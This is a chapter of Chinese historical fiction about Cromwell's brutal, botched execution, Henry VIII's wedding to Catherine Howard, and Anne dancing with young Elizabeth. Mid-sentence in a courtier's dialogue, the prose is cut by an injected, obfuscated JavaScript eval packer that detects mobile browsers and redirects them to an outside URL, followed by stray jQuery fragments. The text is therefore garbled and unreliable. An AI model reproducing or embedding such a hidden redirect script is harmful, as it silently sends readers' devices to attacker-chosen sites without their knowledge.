伦敦的夏日黎明像一把钝刀，慢慢割开天幕。1541年6月28日，泰晤士河涨潮，潮声里混着铁镣拖地时的刺耳金属声。克伦威尔被拖出牢门，灰色囚衣被夜露浸透，贴在瘦骨嶙峋的背上。押送的士兵脚步沉重，像提前敲响的丧鼓。


    刑场外已聚起一小撮人。刽子手是个生面孔，袖口暗袋里沉甸甸地揣着几枚金币——那是克伦威尔旧日政敌的买命钱。斧柄被故意磨钝，第一斧下去只劈开锁骨，血喷得老高，却未致命。克伦威尔闷哼，双膝跪进泥里。第二斧偏了，砍在肩胛骨上，骨裂声像折断的干柴。人群里传出低低的惊呼，有人别过脸去。第三斧落下前，一个披斗篷的狱卒猛地推开刽子手，夺过斧头，低声道：“够了。”寒光一闪，干净利落。血溅在灰白地砖上，像一朵过早凋零的玫瑰。斗篷人转身消失在晨雾里，只留下斧柄在泥中微微颤动。


    同一时刻，汉普顿宫张灯结彩。红毯从宫门一直铺到礼拜堂，玫瑰花瓣铺得没脚踝。霍华德家的纹章被绣成金色，挂在每一根廊柱上，像提前庆祝的旗帜。凯瑟琳·霍华德穿着珍珠绣成的婚纱，裙摆像一片流动的月光。亨利挽着她，笑得像个刚得到新玩具的孩子。


    晚宴上，长桌摆满孔雀、鹿肉和蜜渍樱桃，金杯碰撞的声音像一场盛大的雨。亨利举杯，声音洪亮得能震碎酒杯：“诸位，看看我的新王后！她比晨星还亮，比春雪还纯！”大臣们鼓掌，夫人们微笑，仿佛昨日的血还未干透就被玫瑰盖住。亨利转头对凯瑟琳耳语：“愿我们早日有子，继承这大好河山。”女孩羞红了脸，却不知命运早已在嫁妆里悄悄标好了价格。


    舞厅中央，凯瑟琳旋身起舞。阳光透过彩绘玻璃落在她年轻的脸上，碎成金粉，像给她镀了一层流动的光。她抬手，裙摆旋转成一朵盛开的百合，银铃般的笑声在穹顶下回荡。霍华德家族的新晋大臣们互相敬酒，杯沿轻碰，低声窃语：


    “瞧，国王终于又恋爱了。”


    “只要她肚子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155907|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    争气，我们家的纹章就能再镀一层金。”


    “嘘，小声点，别让王后听见。”


    而在里士满，音乐声从塔楼传来。安妮握着伊丽莎白的手，带着她在长廊里旋转。裙摆扫过地板，像一阵风掠过湖面。鼓手敲着轻快的节奏，胡椒狗在角落跟着节拍摇尾巴。


    伊丽莎白转得头晕，停下来喘气：“老师，跳舞和权力一样吗？”安妮笑了，把女孩的发丝别到耳后：“跳舞需要节奏，权力需要借口。节奏错了会踩脚，借口错了会踩脖子。”


    夜深，伦敦塔外的血迹被雨水冲散，汉普顿宫的灯火越烧越旺。凯瑟琳在新床上辗转，梦见一只戴王冠的天鹅被玫瑰刺穿。而在里士满，安妮熄了灯，把最后一瓣玫瑰夹进书里。


    风从河面吹来，带着铁锈与花香的混合味道。伊丽莎白在梦里轻声问：“老师，天鹅会疼吗？”安妮没有回答，只是把窗帘拉上，让黑暗覆盖一切。她知道，有些答案要等玫瑰凋谢才会揭晓。